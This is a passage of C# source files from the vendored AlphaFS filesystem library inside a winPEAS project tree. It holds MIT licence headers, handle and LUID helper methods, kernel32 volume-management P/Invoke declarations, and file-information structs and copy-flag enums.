Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Alphaleonis.Win32.Security; using System; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Runtime.InteropServices; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { internal static uint GetHighOrderDword(long highPart) { return (uint) ((highPart >> 32) & 0xFFFFFFFF); } internal static uint GetLowOrderDword(long lowPart) { return (uint) (lowPart & 0xFFFFFFFF); } internal static long LuidToLong(LUID luid) { var high = (ulong) luid.HighPart << 32; var low = (ulong) luid.LowPart & 0x00000000FFFFFFFF; return unchecked((long) (high | low)); } internal static LUID LongToLuid(long lluid) { return new LUID {HighPart = (uint) (lluid >> 32), LowPart = (uint) (lluid & 0xFFFFFFFF)}; } internal static long ToLong(uint highPart, uint lowPart) { return ((long) highPart << 32) | ((long) lowPart & 0xFFFFFFFF); } /// Check is the current handle is not null, not closed and not invalid. /// The current handle to check. /// true will throw an , false will not raise this exception.. /// true on success, false otherwise. /// internal static bool IsValidHandle(SafeHandle handle, bool throwException = true) { if (null == handle || handle.IsClosed || handle.IsInvalid) { CloseSafeHandle(handle); if (throwException) throw new ArgumentException(Resources.Handle_Is_Invalid, "handle"); return false; } return true; } /// Check is the current handle is not null, not closed and not invalid. /// The current handle to check. /// The result of Marshal.GetLastWin32Error() /// true will throw an , false will not raise this exception.. /// true on success, false otherwise. /// internal static bool IsValidHandle(SafeHandle handle, int lastError, bool throwException = true) { if (null == handle || handle.IsClosed || handle.IsInvalid) { CloseSafeHandle(handle); if (throwException) throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Handle_Is_Invalid_Win32Error, lastError), "handle"); return false; } return true; } /// Check is the current handle is not null, not closed and not invalid. /// The current handle to check. /// The result of Marshal.GetLastWin32Error() /// The path on which the Exception occurred. /// true will throw an , false will not raise this exception.. /// true on success, false otherwise. /// /// internal static bool IsValidHandle(SafeHandle handle, int lastError, string path, bool throwException = true) { if (null == handle || handle.IsClosed || handle.IsInvalid) { CloseSafeHandle(handle); if (throwException) NativeError.ThrowException(lastError, path); return false; } return true; } /// Check is the current handle is not null, not closed and not invalid. /// The current handle to check. /// The result of Marshal.GetLastWin32Error() /// When true indicates the source is a directory, false indicates a file and null specifies a physical device. /// The path on which the Exception occurred. /// true will throw an , false will not raise this exception.. /// true on success, false otherwise. /// /// internal static bool CloseHandleAndPossiblyThrowException(SafeHandle handle, int lastError, bool? isFolder, string path, bool throwException = true) { if (null == handle || handle.IsClosed || handle.IsInvalid) { CloseSafeHandle(handle); if (throwException) NativeError.ThrowException(lastError, isFolder, path); return false; } return true; } internal static void CloseSafeHandle(SafeHandle handle) { if (null != handle && !handle.IsClosed) handle.Close(); handle = null; } /// Controls whether the system will handle the specified types of serious errors or whether the process will handle them. /// /// Because the error mode is set for the entire process, you must ensure that multi-threaded applications do not set different error- /// mode attributes. Doing so can lead to inconsistent error handling. /// /// Minimum supported client: Windows XP [desktop apps only]. /// Minimum supported server: Windows Server 2003 [desktop apps only]. /// The mode. /// The return value is the previous state of the error-mode bit attributes. [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] private static extern ErrorMode SetErrorMode(ErrorMode uMode); /// Controls whether the system will handle the specified types of serious errors or whether the calling thread will handle them. /// /// Because the error mode is set for the entire process, you must ensure that multi-threaded applications do not set different error- /// mode attributes. Doing so can lead to inconsistent error handling. /// /// Minimum supported client: Windows 7 [desktop apps only]. /// Minimum supported server: Windows Server 2008 R2 [desktop apps only]. /// The new mode. /// [out] The old mode. /// The return value is the previous state of the error-mode bit attributes. [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool SetThreadErrorMode(ErrorMode dwNewMode, [MarshalAs(UnmanagedType.U4)] out ErrorMode lpOldMode); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.VolumeManagement.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Defines, redefines, or deletes MS-DOS device names. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "DefineDosDeviceW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool DefineDosDevice(DosDeviceAttributes dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string lpDeviceName, [MarshalAs(UnmanagedType.LPWStr)] string lpTargetPath); /// Deletes a drive letter or mounted folder. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "DeleteVolumeMountPointW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool DeleteVolumeMountPoint([MarshalAs(UnmanagedType.LPWStr)] string lpszVolumeMountPoint); /// Retrieves the name of a volume on a computer. FindFirstVolume is used to begin scanning the volumes of a computer. /// /// If the function succeeds, the return value is a search handle used in a subsequent call to the FindNextVolume and FindVolumeClose functions. /// If the function fails to find any volumes, the return value is the INVALID_HANDLE_VALUE error code. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "FindFirstVolumeW"), SuppressUnmanagedCodeSecurity] internal static extern SafeFindVolumeHandle FindFirstVolume(StringBuilder lpszVolumeName, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength); /// Retrieves the name of a mounted folder on the specified volume. FindFirstVolumeMountPoint is used to begin scanning the mounted folders on a volume. /// /// If the function succeeds, the return value is a search handle used in a subsequent call to the FindNextVolumeMountPoint and FindVolumeMountPointClose functions. /// If the function fails to find a mounted folder on the volume, the return value is the INVALID_HANDLE_VALUE error code. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "FindFirstVolumeMountPointW"), SuppressUnmanagedCodeSecurity] internal static extern SafeFindVolumeMountPointHandle FindFirstVolumeMountPoint([MarshalAs(UnmanagedType.LPWStr)] string lpszRootPathName, StringBuilder lpszVolumeMountPoint, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength); /// Continues a volume search started by a call to the FindFirstVolume function. FindNextVolume finds one volume per call. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "FindNextVolumeW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool FindNextVolume(SafeFindVolumeHandle hFindVolume, StringBuilder lpszVolumeName, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength); /// Continues a mounted folder search started by a call to the FindFirstVolumeMountPoint function. FindNextVolumeMountPoint finds one mounted folder per call. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. If no more mounted folders can be found, the GetLastError function returns the ERROR_NO_MORE_FILES error code. /// In that case, close the search with the FindVolumeMountPointClose function. /// /// Minimum supported client: Windows XP /// Minimum supported server: Windows Server 2003 [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "FindNextVolumeMountPointW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool FindNextVolumeMountPoint(SafeFindVolumeMountPointHandle hFindVolume, StringBuilder lpszVolumeName, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength); /// Closes the specified volume search handle. /// /// SetLastError is set to false. /// Minimum supported client: Windows XP [desktop apps only]. Minimum supported server: Windows Server 2003 [desktop apps only]. /// /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool FindVolumeClose(IntPtr hFindVolume); /// Closes the specified mounted folder search handle. /// /// SetLastError is set to false. /// Minimum supported client: Windows XP /// Minimum supported server: Windows Server 2003 /// /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool FindVolumeMountPointClose(IntPtr hFindVolume); /// /// Determines whether a disk drive is a removable, fixed, CD-ROM, RAM disk, or network drive. /// To determine whether a drive is a USB-type drive, call and specify the /// SPDRP_REMOVAL_POLICY property. /// /// /// SMB does not support volume management functions. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// Full pathname of the root file. /// /// The return value specifies the type of drive, see . /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetDriveTypeW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern DriveType GetDriveType([MarshalAs(UnmanagedType.LPWStr)] string lpRootPathName); /// /// Retrieves a bitmask representing the currently available disk drives. /// /// /// SMB does not support volume management functions. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// /// If the function succeeds, the return value is a bitmask representing the currently available disk drives. /// Bit position 0 (the least-significant bit) is drive A, bit position 1 is drive B, bit position 2 is drive C, and so on. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetLogicalDrives(); /// Retrieves information about the file system and volume associated with the specified root directory. /// /// If all the requested information is retrieved, the return value is nonzero. /// If not all the requested information is retrieved, the return value is zero. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// "lpRootPathName" must end with a trailing backslash. [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetVolumeInformationW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetVolumeInformation([MarshalAs(UnmanagedType.LPWStr)] string lpRootPathName, StringBuilder lpVolumeNameBuffer, [MarshalAs(UnmanagedType.U4)] uint nVolumeNameSize, [MarshalAs(UnmanagedType.U4)] out uint lpVolumeSerialNumber, [MarshalAs(UnmanagedType.U4)] out int lpMaximumComponentLength, [MarshalAs(UnmanagedType.U4)] out VOLUME_INFO_FLAGS lpFileSystemAttributes, StringBuilder lpFileSystemNameBuffer, [MarshalAs(UnmanagedType.U4)] uint nFileSystemNameSize); /// Retrieves information about the file system and volume associated with the specified file. /// /// If all the requested information is retrieved, the return value is nonzero. /// If not all the requested information is retrieved, the return value is zero. To get extended error information, call GetLastError. /// /// To retrieve the current compression state of a file or directory, use FSCTL_GET_COMPRESSION. /// SMB does not support volume management functions. /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetVolumeInformationByHandleW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetVolumeInformationByHandle(SafeFileHandle hFile, StringBuilder lpVolumeNameBuffer, [MarshalAs(UnmanagedType.U4)] uint nVolumeNameSize, [MarshalAs(UnmanagedType.U4)] out uint lpVolumeSerialNumber, [MarshalAs(UnmanagedType.U4)] out int lpMaximumComponentLength, out VOLUME_INFO_FLAGS lpFileSystemAttributes, StringBuilder lpFileSystemNameBuffer, [MarshalAs(UnmanagedType.U4)] uint nFileSystemNameSize); /// Retrieves a volume GUID path for the volume that is associated with the specified volume mount point (drive letter, volume GUID path, or mounted folder). /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Use GetVolumeNameForVolumeMountPoint to obtain a volume GUID path for use with functions such as SetVolumeMountPoint and FindFirstVolumeMountPoint that require a volume GUID path as an input parameter. /// SMB does not support volume management functions. /// Mount points aren't supported by ReFS volumes. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetVolumeNameForVolumeMountPointW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetVolumeNameForVolumeMountPoint([MarshalAs(UnmanagedType.LPWStr)] string lpszVolumeMountPoint, StringBuilder lpszVolumeName, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength); /// Retrieves the volume mount point where the specified path is mounted. /// /// If a specified path is passed, GetVolumePathName returns the path to the volume mount point, which means that it returns the /// root of the volume where the end point of the specified path is located. /// For example, assume that you have volume D mounted at C:\Mnt\Ddrive and volume E mounted at "C:\Mnt\Ddrive\Mnt\Edrive". Also /// assume that you have a file with the path "E:\Dir\Subdir\MyFile". /// If you pass "C:\Mnt\Ddrive\Mnt\Edrive\Dir\Subdir\MyFile" to GetVolumePathName, it returns the path "C:\Mnt\Ddrive\Mnt\Edrive\". /// If a network share is specified, GetVolumePathName returns the shortest path for which GetDriveType returns DRIVE_REMOTE, /// which means that the path is validated as a remote drive that exists, which the current user can access. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetVolumePathNameW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetVolumePathName([MarshalAs(UnmanagedType.LPWStr)] string lpszFileName, StringBuilder lpszVolumePathName, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength); /// Retrieves a list of drive letters and mounted folder paths for the specified volume. /// Minimum supported client: Windows XP. /// Minimum supported server: Windows Server 2003. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetVolumePathNamesForVolumeNameW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetVolumePathNamesForVolumeName([MarshalAs(UnmanagedType.LPWStr)] string lpszVolumeName, char[] lpszVolumePathNames, [MarshalAs(UnmanagedType.U4)] uint cchBuferLength, [MarshalAs(UnmanagedType.U4)] out uint lpcchReturnLength); /// Sets the label of a file system volume. /// Minimum supported client: Windows XP [desktop apps only]. /// Minimum supported server: Windows Server 2003 [desktop apps only]. /// "lpRootPathName" must end with a trailing backslash. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "SetVolumeLabelW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool SetVolumeLabel([MarshalAs(UnmanagedType.LPWStr)] string lpRootPathName, [MarshalAs(UnmanagedType.LPWStr)] string lpVolumeName); /// Associates a volume with a drive letter or a directory on another volume. /// Minimum supported client: Windows XP [desktop apps only]. /// Minimum supported server: Windows Server 2003 [desktop apps only]. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "SetVolumeMountPointW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool SetVolumeMountPoint([MarshalAs(UnmanagedType.LPWStr)] string lpszVolumeMountPoint, [MarshalAs(UnmanagedType.LPWStr)] string lpszVolumeName); /// Retrieves information about MS-DOS device names. /// Minimum supported client: Windows XP [desktop apps only]. /// Minimum supported server: Windows Server 2003 [desktop apps only]. /// /// If the function succeeds, the return value is the number of TCHARs stored into the buffer pointed to by lpTargetPath. If the /// function fails, the return value is zero. To get extended error information, call GetLastError. If the buffer is too small, the /// function fails and the last error code is ERROR_INSUFFICIENT_BUFFER. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "QueryDosDeviceW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint QueryDosDevice([MarshalAs(UnmanagedType.LPWStr)] string lpDeviceName, char[] lpTargetPath, [MarshalAs(UnmanagedType.U4)] uint ucchMax); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/BY_HANDLE_FILE_INFORMATION.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Contains information that the GetFileInformationByHandle function retrieves. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct BY_HANDLE_FILE_INFORMATION { /// The file attributes. public readonly FileAttributes dwFileAttributes; /// A structure that specifies when a file or directory is created. public readonly FILETIME ftCreationTime; /// A structure. For a file, the structure specifies the last time that a file is read from or written to. /// For a directory, the structure specifies when the directory is created. /// For both files and directories, the specified date is correct, but the time of day is always set to midnight. /// public readonly FILETIME ftLastAccessTime; /// A structure. For a file, the structure specifies the last time that a file is written to. /// For a directory, the structure specifies when the directory is created. public readonly FILETIME ftLastWriteTime; /// The serial number of the volume that contains a file. [MarshalAs(UnmanagedType.U4)] public readonly uint dwVolumeSerialNumber; /// The high-order part of the file size. [MarshalAs(UnmanagedType.U4)] public readonly uint nFileSizeHigh; /// The low-order part of the file size. [MarshalAs(UnmanagedType.U4)] public readonly uint nFileSizeLow; /// The number of links to this file. For the FAT file system this member is always 1. For the NTFS file system, it can be more than 1. [MarshalAs(UnmanagedType.U4)] public readonly uint nNumberOfLinks; /// The high-order part of a unique identifier that is associated with a file. [MarshalAs(UnmanagedType.U4)] public readonly uint nFileIndexHigh; /// The low-order part of a unique identifier that is associated with a file. [MarshalAs(UnmanagedType.U4)] public readonly uint nFileIndexLow; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/COPY_FILE_FLAGS.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Flags that specify how a file or directory is to be copied. internal enum COPY_FILE_FLAGS { /// The copy operation fails immediately if the target file already exists. COPY_FILE_FAIL_IF_EXISTS = 1, /// /// Progress of the copy is tracked in the target file in case the copy fails. The failed copy can be restarted at a later time by specifying the same values /// forexisting file name and new file name as those used in the call that failed. This can significantly slow down the copy operation as the new file may be /// flushed multiple times during the copy operation. /// COPY_FILE_RESTARTABLE = 2, /// The file is copied and the original file is opened for write access. COPY_FILE_OPEN_SOURCE_FOR_WRITE = 4, /// An attempt to copy an encrypted file will succeed even if the destination copy cannot be encrypted. COPY_FILE_ALLOW_DECRYPTED_DESTINATION = 8, /// If the source file is a symbolic link, the destination file is also a symbolic link pointing to the same file that the source symbolic link is pointing to. COPY_FILE_COPY_SYMLINK = 2048, /// The copy operation is performed using unbuffered I/O, bypassing system I/O cache resources. Recommended for very large file transfers. COPY_FILE_NO_BUFFERING = 4096 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FILETIME.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; 